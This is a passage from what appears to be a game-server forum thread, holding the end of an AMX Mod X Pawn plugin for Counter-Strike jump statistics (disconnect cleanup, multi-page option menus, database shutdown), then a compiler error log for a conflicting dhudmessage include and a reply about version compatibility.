		remove_task(id, 0);
	
	if( task_exists(id+89012, 0) )
		remove_task(id+89012, 0);
	
	if( task_exists(id+3313, 0) )
		remove_task(id+3313, 0);
	
	if( task_exists(id+3214, 0) )
		remove_task(id+3214, 0);
		
	if( task_exists(id+15237, 0) )
		remove_task(id+15237, 0);
	
	if( task_exists(id+212398, 0) )
		remove_task(id+212398, 0);
		
	g_alive[id] = false;
}

public client_disconnected(id)
{
	if(kz_sql == 1 || kz_sql == 2)
	{
		new tmp_str[12];
		num_to_str(g_sql_pid[id], tmp_str, 11);
		if(TrieKeyExists(JumpPlayers, tmp_str))
			TrieDeleteKey(JumpPlayers, tmp_str);
	}
	
	remove_beam_ent(id);
	
	player_admin[id]=false;
	g_pBot[id]=false;
	login[id]=false;
	g_userConnected[id]=false;
	OnGround[id]=false;
	g_alive[id]=false;
	
	
	if( task_exists(id, 0) )
		remove_task(id);
	
	firstshow[id]=false;
	if( task_exists(id+434490, 0) )
		remove_task(id+434490, 0);
		
	if( task_exists(id, 0) )
		remove_task(id, 0);
	
	if( task_exists(id+89012, 0) )
		remove_task(id+89012, 0);

	if( task_exists(id+3313, 0) )
		remove_task(id+3313, 0);
	
	if( task_exists(id+3214, 0) )
		remove_task(id+3214, 0);
		
	if( task_exists(id+15237, 0) )
		remove_task(id+15237, 0);
		
	if( task_exists(id+212299, 0) )
		remove_task(id+212299, 0);
		
	if( task_exists(id+212398, 0) )
		remove_task(id+212398, 0);
		
	if( task_exists(id, 0) )
		remove_task(id, 0);
}
public reset_tops(id, level, cid)
{	
	if( !cmd_access(id, level, cid, 1) ) return PLUGIN_HANDLED;
	
	if(kz_sql == 0)
	{
		client_print(id,print_console,"%L",LANG_SERVER,"UQSTATS_RESET");
		server_print("%L",LANG_SERVER,"UQSTATS_RESET");
		
		TrieClear(JData);
		TrieClear(JData_Block);
	}
	else if(kz_sql == 1)
	{
		client_print(id,print_console,"%L",LANG_SERVER,"UQSTATS_RESETF");
		server_print("%L",LANG_SERVER,"UQSTATS_RESETF");
	}
		
	return PLUGIN_CONTINUE;
}
public Option(id)
{	
	new MenuBody[512], len, keys;
	len = format(MenuBody, 511, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU1");
	
	if(g_lj_stats[id]==true)
	{
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU11a");
		keys |= (1<<0);
	}
	else
	{
		keys |= (1<<0);
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU11b");
	}
	
	if(gHasColorChat[id]==true)
	{
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU12a");
		keys |= (1<<1);
	}
	else
	{
		keys |= (1<<1);
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU12b");
	}
	
	if(speedon[id]==true)
	{
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU13a");
		keys |= (1<<2);
	}
	else
	{
		keys |= (1<<2);
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU13b");
	}
	
	if(showpre[id]==true)
	{
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU14a");
		keys |= (1<<3);
	}
	else
	{
		keys |= (1<<3);
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU14b");
	}
	
	if(streifstat[id]==true)
	{
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU15a");
		keys |= (1<<4);
	}
	else
	{
		keys |= (1<<4);
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU15b");
	}
	
	if(kz_beam[id]==true)
	{
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU16a");
		keys |= (1<<5);
	}
	else
	{
		keys |= (1<<5);
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU16b");
	}
	
	if(showduck[id]==true)
	{
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU17a");
		keys |= (1<<6);
	}
	else
	{
		keys |= (1<<6);
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU17b");
	}
	if(failearly[id]==true)
	{
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU18a");
		keys |= (1<<7);
	}
	else
	{
		keys |= (1<<7);
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU18b");
	}

	len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENUNEXT");
	keys |= (1<<8);
		
	len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENUEXIT");
	keys |= (1<<9);
	
	show_menu(id, keys, MenuBody, -1, "StatsOptionMenu1");	
}

public OptionMenu1(id, key)
{
	switch((key+1))
	{
		case 1:
		{
			cmdljStats(id);
			Option(id);
			
		}
		case 2:
		{
			cmdColorChat(id);
			Option(id);
		}
		case 3:
		{
			show_speed(id);
			Option(id);
		}
		case 4:
		{
			show_pre(id);
			Option(id);
		}
		case 5:
		{
			streif_stats(id);
			Option(id);
		}
		case 6:
		{
			cmdljbeam(id);
			Option(id);
		}
		case 7:
		{
			duck_show(id);
			Option(id);
		}
		case 8:
		{
			show_early(id);
			Option(id);
		}
		case 9:
		{
			Option2(id);
		}

	}
	return PLUGIN_HANDLED;
}
public Option2(id)
{	
	new MenuBody[512], len, keys;
	len = format(MenuBody, 511, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU2");
	
	if(multibhoppre[id]==true)
	{
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU21a");
		keys |= (1<<0);
	}
	else
	{
		keys |= (1<<0);
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU21b");
	}
	if(Show_edge[id]==true)
	{
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU22a");
		keys |= (1<<1);
	}
	else
	{
		keys |= (1<<1);
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU22b");
	}
	if(Show_edge_Fail[id]==true)
	{
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU23a");
		keys |= (1<<2);
	}
	else
	{
		keys |= (1<<2);
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU23b");
	}
	
	len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU24",user_block[id][1]);
	keys |= (1<<3);
	len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU25",user_block[id][0]);
	keys |= (1<<4);
	len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU26",min_prestrafe[id]);
	keys |= (1<<5);
	
	if(beam_type[id]==1)
	{
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU27a");
		keys |= (1<<6);
	}
	else if(beam_type[id]==2)
	{
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU27b");
		keys |= (1<<6);
	}
	
	
	len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU2BACK");
	keys |= (1<<7);
	len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU2NEXT");
	keys |= (1<<8);	
	len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENUEXIT");
	keys |= (1<<9);
	
	show_menu(id, keys, MenuBody, -1, "StatsOptionMenu2");
		
}

public OptionMenu2(id, key)
{
	switch((key+1))
	{
		case 1:
		{
			multi_bhop(id);
			Option2(id);	
		}
		case 2:
		{
			Showedge(id);
			Option2(id);	
		}
		case 3:
		{
			ShowedgeFail(id);
			Option2(id);	
		}
		case 4:
		{
			user_block[id][1]=user_block[id][1]+10;
			if(user_block[id][1]>=user_block[id][0])
			{
				user_block[id][1]=uq_minedge;
			}
			Option2(id);	
		}
		case 5:
		{
			if(user_block[id][0]==uq_maxedge)
			{
				user_block[id][0]=user_block[id][1];
				client_print(id,print_center,"%L",LANG_SERVER,"UQSTATS_OPTIONMENU2MAXVALUE1",uq_maxedge);
			}
			user_block[id][0]=user_block[id][0]+10;
			Option2(id);	
		}
		case 6:
		{
			if(min_prestrafe[id]>=320)
			{
				min_prestrafe[id]=0;
				client_print(id,print_center,"%L",LANG_SERVER,"UQSTATS_OPTIONMENU2MAXVALUE2");
			}
			min_prestrafe[id]=min_prestrafe[id]+20;
			Option2(id);	
		}
		case 7:
		{
			if(beam_type[id]==1)
			{
				beam_type[id]=2;
				client_print(id,print_center,"%L",LANG_SERVER,"UQSTATS_OPTIONMENU2BEAMT1");
			}
			else
			{
				beam_type[id]=1;
				client_print(id,print_center,"%L",LANG_SERVER,"UQSTATS_OPTIONMENU2BEAMT2");
			}
			Option2(id);	
		}
		case 8:
		{
			Option(id);	
		}
		case 9:
		{
			Option3(id);	
		}
	}
	return PLUGIN_HANDLED;
}
public Option3(id)
{	
	new MenuBody[512], len, keys;
	len = format(MenuBody, 511, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU3");
	
	if(enable_sound[id]==true)
	{
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU31a");
		keys |= (1<<0);
	}
	else
	{
		keys |= (1<<0);
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU31b");
	}
	if(showjofon[id]==true)
	{
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU32a");
		keys |= (1<<1);
	}
	else
	{
		keys |= (1<<1);
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU32b");
	}
	if(height_show[id])
	{
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU33a");
		keys |= (1<<2);
	}
	else
	{
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU33b");
		keys |= (1<<2);
	}
	if(jofon[id])
	{
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU34a");
		keys |= (1<<3);
	}
	else
	{
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU34b");
		keys |= (1<<3);
	}
	if(jheight_show[id])
	{
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU35a");
		keys |= (1<<4);
	}
	else
	{
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU35b");
		keys |= (1<<4);
	}
	if(uq_istrafe)
	{
		if(ingame_strafe[id])
		{
			len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU36a");
			keys |= (1<<5);
		}
		else
		{
			len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU36b");
			keys |= (1<<5);
		}
		
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU38",showtime_st_stats[id]/10);
	
		keys |= (1<<6);
	}
	else
	{
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU37");
		len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU38F",showtime_st_stats[id]/10);
	}
		
	len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENU3BACK");
	keys |= (1<<8);
		
	len += format(MenuBody[len], 511-len, "%L",LANG_SERVER,"UQSTATS_OPTIONMENUEXIT");
	keys |= (1<<9);
	
	show_menu(id, keys, MenuBody, -1, "StatsOptionMenu3");
		
}
public OptionMenu3(id, key)
{
	switch((key+1))
	{
		case 1:
		{
			enable_sounds(id);
			Option3(id);	
		}
		case 2:
		{
			show_jof(id);
			Option3(id);	
		}
		case 3:
		{
			heightshow(id);
			Option3(id);	
		}
		case 4:
		{
			trainer_jof(id);
			Option3(id);
		}
		case 5:
		{
			show_jheight(id);
			Option3(id);
		}
		case 6:
		{
			ingame_st_stats(id);
			Option3(id);
		}
		case 7:
		{
			if(showtime_st_stats[id]==200)
			{
				client_print(id,print_center,"%L",LANG_SERVER,"UQSTATS_OPTIONMENU3MAXSEC");
				showtime_st_stats[id]=0;
			}
			showtime_st_stats[id]=showtime_st_stats[id]+10;

			Option3(id);
		}
	
		case 9:
		{
			Option2(id);	
		}
	}
	return PLUGIN_HANDLED;
}
public native_kz_get_configsdir(name[], len)
{
	param_convert(1);
	new lalin[64];
	get_localinfo("amxx_configsdir", lalin,63);
	return formatex(name, len, "%s/%s", lalin, KZ_DIR);
}

public plugin_end() 
{ 
	if(kz_sql == 1)
	{
		if(DB_TUPLE)
			SQL_FreeHandle(DB_TUPLE);
		if(SqlConnection)
			SQL_FreeHandle(SqlConnection);
		
		TrieDestroy(JumpPlayers);
	}
	else if(kz_sql == 0)
	{
		TrieDestroy(JData);
		TrieDestroy(JData_Block);
	}
}

AMX Mod X Compiler 1.8.3-dev+5154
Copyright (c) 1997-2006 ITB CompuPhase
Copyright (c) 2004-2013 AMX Mod X Team

C:\neuer compiler\1.8.3-dev-git5154 veicis compiler\scripting\include\dhudmessage.inc(19) : error 021: symbol already defined: "set_dhudmessage"
C:\neuer compiler\1.8.3-dev-git5154 veicis compiler\scripting\include\dhudmessage.inc(24) : error 010: invalid function or declaration
C:\neuer compiler\1.8.3-dev-git5154 veicis compiler\scripting\include\dhudmessage.inc(34) : error 010: invalid function or declaration
C:\neuer compiler\1.8.3-dev-git5154 veicis compiler\scripting\include\dhudmessage.inc(37) : error 021: symbol already defined: "show_dhudmessage"
C:\neuer compiler\1.8.3-dev-git5154 veicis compiler\scripting\include\dhudmessage.inc(42) : error 010: invalid function or declaration
C:\neuer compiler\1.8.3-dev-git5154 veicis compiler\scripting\include\dhudmessage.inc(44) : warning 218: old style prototypes used with optional semicolumns
C:\neuer compiler\1.8.3-dev-git5154 veicis compiler\scripting\include\dhudmessage.inc(45) : error 054: unmatched closing brace
C:\neuer compiler\1.8.3-dev-git5154 veicis compiler\scripting\include\dhudmessage.inc(46) : error 010: invalid function or declaration
C:\neuer compiler\1.8.3-dev-git5154 veicis compiler\scripting\include\dhudmessage.inc(49) : warning 218: old style prototypes used with optional semicolumns
C:\neuer compiler\1.8.3-dev-git5154 veicis compiler\scripting\include\dhudmessage.inc(50) : error 054: unmatched closing brace
C:\neuer compiler\1.8.3-dev-git5154 veicis compiler\scripting\include\dhudmessage.inc(51) : error 010: invalid function or declaration
C:\neuer compiler\1.8.3-dev-git5154 veicis compiler\scripting\include\dhudmessage.inc(54) : error 021: symbol already defined: "get_players"
C:\neuer compiler\1.8.3-dev-git5154 veicis compiler\scripting\include\dhudmessage.inc(56) : error 010: invalid function or declaration
C:\neuer compiler\1.8.3-dev-git5154 veicis compiler\scripting\include\dhudmessage.inc(58) : error 010: invalid function or declaration
C:\neuer compiler\1.8.3-dev-git5154 veicis compiler\scripting\include\dhudmessage.inc(63) : error 010: invalid function or declaration
C:\neuer compiler\1.8.3-dev-git5154 veicis compiler\scripting\include\dhudmessage.inc(65) : error 010: invalid function or declaration
C:\neuer compiler\1.8.3-dev-git5154 veicis compiler\scripting\include\dhudmessage.inc(67) : error 010: invalid function or declaration
C:\neuer compiler\1.8.3-dev-git5154 veicis compiler\scripting\include\dhudmessage.inc(70) : error 010: invalid function or declaration
C:\neuer compiler\1.8.3-dev-git5154 veicis compiler\scripting\include\dhudmessage.inc(79) : error 010: invalid function or declaration
C:\neuer compiler\1.8.3-dev-git5154 veicis compiler\scripting\include\dhudmessage.inc(82) : warning 218: old style prototypes used with optional semicolumns
C:\neuer compiler\1.8.3-dev-git5154 veicis compiler\scripting\include\dhudmessage.inc(83) : error 054: unmatched closing brace
C:\neuer compiler\1.8.3-dev-git5154 veicis compiler\scripting\include\dhudmessage.inc(84) : error 010: invalid function or declaration
C:\neuer compiler\1.8.3-dev-git5154 veicis compiler\scripting\include\dhudmessage.inc(86) : error 010: invalid function or declaration
C:\neuer compiler\1.8.3-dev-git5154 veicis compiler\scripting\include\dhudmessage.inc(90) : error 010: invalid function or declaration
C:\neuer compiler\1.8.3-dev-git5154 veicis compiler\scripting\include\dhudmessage.inc(95) : error 021: symbol already defined: "vformat"
C:\neuer compiler\1.8.3-dev-git5154 veicis compiler\scripting\include\dhudmessage.inc(96) : warning 218: old style prototypes used with optional semicolumns
C:\neuer compiler\1.8.3-dev-git5154 veicis compiler\scripting\include\dhudmessage.inc(97) : error 054: unmatched closing brace
C:\neuer compiler\1.8.3-dev-git5154 veicis compiler\scripting\include\dhudmessage.inc(100) : error 021: symbol already defined: "ArrayDestroy"
C:\neuer compiler\1.8.3-dev-git5154 veicis compiler\scripting\include\dhudmessage.inc(103) : error 010: invalid function or declaration
C:\neuer compiler\1.8.3-dev-git5154 veicis compiler\scripting\include\dhudmessage.inc(106) : error 025: function heading differs from prototype

Compilation aborted.
26 Errors.
Could not locate output file C:\neuer compiler\1.8.3-dev-git5154 veicis compiler\scripting\newjumpbase.amx (compile failed).

Re: Pack plugine hns noi/refăcute/sau „speciale” + github

Posted: 11 Jul 2019, 22:11
by levin
these plugins will not run on amxx versions more than 182